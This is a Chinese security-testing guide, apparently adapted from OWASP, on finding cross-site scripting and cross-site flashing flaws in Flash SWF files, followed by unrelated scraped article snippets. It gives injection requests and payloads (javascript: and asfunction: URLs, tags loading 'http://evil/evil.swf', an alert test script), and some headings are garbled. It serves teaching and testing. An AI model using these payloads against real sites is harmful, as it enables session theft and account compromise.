FLASH 跨站脚本测试

概述

ActionScript 是基于ECMAScript 的一种语言。当处理交互需求时,Flash 应用程序会使用此语言。和其它语言一样,
ActionScript 有一些可能会导致安全问题的实施模式。特别是,因为Flash 应用往往嵌入浏览器中,基于DOM的跨站脚本等漏洞同样可以在有缺陷的Flash 应用存在。

 问题描述

自从“Flash 应用测试”[1]第一次出版,FlashPlayer 就发布了新版本以便缓和书中所描述的攻击威胁。然而,由
于它很大程度上取决于开发商不安全的编程方法,有些部分仍然会存在可开发的漏 洞。。

灰盒测试实例

反编译

由于SWF文件是由嵌入播放器本身的虚拟机翻译的,他们存在被破解和分析的潜 在风险。最知名的免费的
ActionScript2.0破解版是flare。
为了使用flare 破解SWF文件,请输入:

$ flare hello.swf

这将会产生名为hello.flr 的新文件。
因为它从黑盒测试到白盒测试,反编译可以在测试过程中提供一些帮助。
ActionScript3.0 目前没有免费破解版。

未定义的变量

由于URL 查询字符串参数将_root 或_global 对象的每个成员实例化了,导致ActionScript2开始运行。因此通过查看
每个属于_root 和_global对象的未定义属性,可以得到ActionScript2的入口点。这意味着,如果下面的属性:
_root.varname
导致代码流中某个点“未定义”,它可能通过设置重写
http://victim/file.swf?varname=value
例如:

movieClip 328 __Packages.Locale {

#initclip
      if (!_global.Locale) {
         var v1 = function (on_load) {
           var v5 = new XML();
           var v6 = this;
           v5.onLoad = function (success) {
             if (success) {
               trace(‘Locale loaded xml‘);
               var v3 = this.xliff.file.body.$trans_unit;
               var v2 = 0;
               while (v2 < v3.length) {
                 Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
                 ++v2;
               }
               on_load();
             } else {}
           };
           if (_root.language != undefined) {
             Locale.DEFAULT_LANG = _root.language;
           }
           v5.load(Locale.DEFAULT_LANG + ‘/player_‘ +
                                Locale.DEFAULT_LANG + ‘.xml‘);
         };

通过下面请求可能遭受攻击:

http://victim/file.swf?language=http://evil

不安全的方法

确认入口点后,不安全方法使用可能利用入口点所代表的数据。如果没有使用正确 的regexp 过滤或验证数据将会产
生安全问题。

版本r47的不安全的方法有:

loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( ‘url‘ )
LoadVars.load ( ‘url‘ )
Sound.loadSound( ‘url‘ , isStreaming );
NetStream.play( ‘url‘ );
flash.external.ExternalInterface.call(_root.callback)

htmlText

测试

将SWF 文件存放在受害者主机上并使用反射式XSS 技术利用漏洞。这就迫使浏览器直接在地址栏中加载一个纯粹的
SWF 文件(由复位向或社会工程学)或通过恶意网页的iframe 加载:

<iframe src=‘http://victim/path/to/file.swf‘></iframe>
这是因为在这种情况下就像存储在受害主机上一样,浏览器将自动产生HTML网 页。
跨站脚本
GetURL:
该GetURL 功能让movie装载URI 进入浏览器视窗。因此,如果getURL 中使用未定义变量作为第一个参数:
getURL(_root.URI,‘_targetFrame‘);
这意味着它可以通过以下请求在托管movie 的相同的域名中调用JavaScript:
http://victim/file.swf?URI=javascript:evilcode
getURL(‘javascript:evilcode‘,‘_self‘);
同样,当只有部分getURL 受控时(Dom 注入和FlashJavaScript注入),情况相同:

getUrl(‘javascript:function(‘+_root.arg+‘))

asfunction:
asfunction:
aassffuunnccttiioonn::

您可以使用特殊asfunction 协议产生链接,然后在SWF文件中执行ActionScript 函数而不是打开一个网址。

(Adobe.com)。释放FlashPlayer 的r48后,每个包含URL 作为参数的方法都能使用asfunction。这就意味着,测

试者可以尝试注入:

asfunction:getURL,javascript:evilcode
in every unsafe method like:
loadMovie(_root.URL)

通过请求:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

ExternalInterface:
ExternalInterface:
EExxtteerrnnaallIInntteerrffaaccee::

ExternalInterface.call 是Adobe引进的用户提升播放器/浏览器交互功能的静态方法。从安全角度来看,当控制了其

部分参数时,它可能会被滥用:

flash.external.ExternalInterface.call(_root.callback);

这种漏洞的攻击模式如下:

eval(evilcode)

而浏览器执行的内部Java 语言类似于:

eval(‘try { __flash__toXML(‘+__root.callback+‘) ; } catch (e) { "<undefined/>"; }‘)

HTML 注入

通过以下设置,TextField 对象可能提供最小的HTML:

tf.html = true
tf.htmlText = ‘<tag>text</tag>‘

因此,如果测试者控制了部分文本,可能注入A标签或者IMG标签导致修改 GUI 或XSS 浏览器。

A标签的攻击案例如下:

    ?  直接跨站脚本:<a href=‘javascript:alert(123)‘>

    ?  呼叫的功能:<ahref=‘asfunction:function,arg‘>

  ?  呼叫的SWF 公共职能:<ahref=‘asfunction:_root.obj.function,arg‘>

  ?  呼叫本地固定的功能:<a href=‘asfunction:System.Security.allowDomain,evilhost‘>

同样可以使用IMG的标签:

<img src=‘http://evil/evil.swf‘>
<img src=‘javascript:evilcode//.swf‘ > (.swf is necessary to bypass flash player internal
filter)

注:虽然FlashPlayer 跨站脚本124 不再容易被利用,但仍然能修改GUI。

Flash    CrossSiteFlashing
Flash    CrossSiteFlashing
FFllaasshh跨站 CCrroossssSSiitteeFFllaasshhiinngg

Flash 跨站(XSF)是和XSS 有相同影响的漏洞。

XSF 发生在不同域名中:

?  一个movie使用loadmovie*函数或其它黑客技术加载另一个movie,并进入同一个沙盒或其中一部分

?  当HTML 页面使用JavaScript 来命令使用AdobeFlashmovie 时也可能发生XSF。例如,调用:

o   GetVariable:作为字符串从Javascript 进入flash公共和静态对象。

o   SetVariable:从Javascript 给新的字符串设置一个静态的或公共flash对象。

?   意外浏览器的swf 通信可能导致窃取swf 应用数据。

通过迫使有缺陷的swf装载外部恶意Flash文件执行此功能。

这种攻击可能导致跨站脚本或GUI修改,以欺骗用户在虚假的flash 表格中插入凭据。

当使用loadmovie*方法时,可以在FlashHTML 注入或外部SWF文件中使用XSF。

FlashPlayer
       FlashPlayer
攻击和FFllaasshhPPllaayyeerr版本

自2007 年5月,Adobe发布了FlashPlayer 的三个新版本。每个新版本都阻止了以前描述的攻击。

| Attack            | asfunction | ExternalInterface | GetURL  | Html Injection |

|PlayerVersion |

| v9.0 r47/48       |  Yes         |    Yes               | Yes       |      Yes          |

| v9.0 r115         |  No          |    Yes               | Yes       |      Yes          |

| v9.0 r124         |  No          |    Yes               | Yes       |      Partially  |

预期结果:

跨站点脚本和跨站flash是有缺陷的SWF 文件的预期结果。

 工具

   ?   SWFIntruder:https://www.owasp.org/index.php/Category:SWFIntruder
   ?   Decompiler–Flare: http://www.nowrap.de/flare.html
   ?   Compiler–MTASC:<http://www.mtasc.org/>
   ?   Disassembler–Flasm:<http://flasm.sourceforge.net/>
   ?   Swfmill–ConvertSwftoXMLandviceversa:<http://swfmill.org/>
   ?   DebuggerVersionofFlashPlugin/Player:<http://www.adobe.com/support/flash/downloads.html

时间: 2024-11-05 02:43:41

FLASH 跨站脚本测试的相关文章

xss跨站脚本测试

测试的时候会涉及到xss测试,下面简要整理下xss的知识 xss跨站脚本特点就是能注入恶意的HTML/JS代码到用户浏览器,劫持用户会话 常用alert来验证网站存在漏洞 如果确认存在漏洞,会随着注入的内容不同而产生危害 <script>alert("xss test");</script> 比如:窃取cookie,网页挂马,恶意操作,跨站蠕虫等等 分类: 反射型:非持久,一般为一个url,需要用户单击,在url中参数传入 持久型:常存在于评论等交互中,常见于&

oracle 12cR2 smart flash cache测试

最近一直在处理新系统的性能优化问题,这两天特地测试了下oracle 11gR2开始引入的smart flash cache. 其介绍参考MOS文档,How To Size the Database Smart Flash Cache (文档 ID 1317950.1) The Database Smart Flash Cache is a new feature in Oracle Database 11g Release 2 (11.2). The Database Smart Flash C

使用FIO对SATA、SSD和PCIe Flash进行测试

首先声明,同事做的实验 使用fio对SATA.SSD.PCIE进行了测试 测试说明: 1.测试命名   sync_write_4k_32 sync表示测试方式,可以是sync或者libaio,sync就是发起IO请求等待IO完成后,此thread继续发起IO请求,实现并发采用fio发起多线程实现:libaio,异步IO,thread发起IO请求后,IO请求进行IO队列,此模式为了实现并发多测试,采用控制iodepth实现 write:为测试IO请求方法,包括write.read.rw.randw

TI AM5728开发板QSPI FLASH测试

本次针对创龙TL5728-EasyEVM的QSPI FLASH进行测试.平台简单介绍:AM5728是TI Sitara系列高性能SOC,得益于异构多核处理架构,CPU内集成了多核DSP.多核PRU.IVA-HD.GPU等协处理单元,通过硬件加速的方式极大增强CPU的数据.多媒体处理能力,可满足工业协议支持.大数据计算.实时控制等应用需求,同时采用先进的28纳米生产工艺,极大降低处理器的功耗,能耗比更加突出.TL5728-EasyEVM 是一款广州创龙基于 TI AM5728(浮点双 DSP C6

安全测试指南

测试方法 1.Web应用安全测试 1.1. Web应用安全测试概述 Web应用安全测试只侧重于评估Web应用的安全性.这个过程包括主动分析应用程序的所有弱点.技术缺陷和漏洞.任何被发现的安全问题连同影响评估.缓解建议或者技术方案一起提交给系统所有者. 1.2. 什么是OWASP测试方法 测试模型 测试人员:执行测试活动的人 工具和方法:本测试指南项目的核心 应用:黑盒测试的对象 测试阶段 阶段1. 被动模式: 阶段2.  主动模式: 2.信息收集测试 2.1 搜索引擎信息收集 2.2 Web服务

QT 显示gif 和 flash 动画技巧

最近搞个GIF 动画到是容易 但是flash 却不是那么容易 折腾一下午终于成功了 FLASH文件关键是文件名和路径  我用了相对路径 测试成功. #include <QtGui>  #include <QApplication>  #include <QTextCodec>  #include <QWidget>  #include <ActiveQt/QAxWidget>  #include <QTime> #include   

web安全测试---跨站点脚本测试

1.1      跨站脚本测试 1.1.1        GET方式跨站脚本测试 编号 SEC_Web_XSS_01 测试用例名称 GET方式跨站脚本测试 测试目的 由于跨站脚本会导致会话被劫持.敏感信息泄漏.账户被盗,严重时甚至造成数据修改.删除,从而导致业务中断,因此需检测跨站脚本是否存在 用例级别 1 测试条件 1.  Web业务运行正常 2.  已知待测目标URL,假设为http://www.exmaple.com/page.xxx 3.  待测目标存在参数输入,假设为name=valu

如何解决div层被flash遮盖的问题

页面构建中的Flash层会遮挡Div的问题,一般通过设置wmode="transparent" 或wmode="window"就可以解决.不过对于Flash视频这个貌似不太凑效. 对于Flash遮挡的问题,首先来了解一些wmode的一些属性值. wmode的5种取值 Window模式 默认情况下的显示模式,在这种模式下 flash player 有自己的窗口句柄,这就意味着 flash 影片是存在于 Windows 中的一个显示实例,并且是在浏览器核心显示窗口之上的

跨站脚本

实验 一.  xss跨站脚本实验 XSS全称(cross site scripting)跨站脚本攻击,是web程序最常见的漏洞.指攻击者在网页嵌入客户端脚本如javascript,当用户浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.比如获取cookkie,导航到恶意网站等,主要原因就是页面输入的数据变成了代码导致的攻击. 本次实验使用javaweb编写的简单程序测试一下代码如下: java页面: package servlet; import java.io.IOExcepti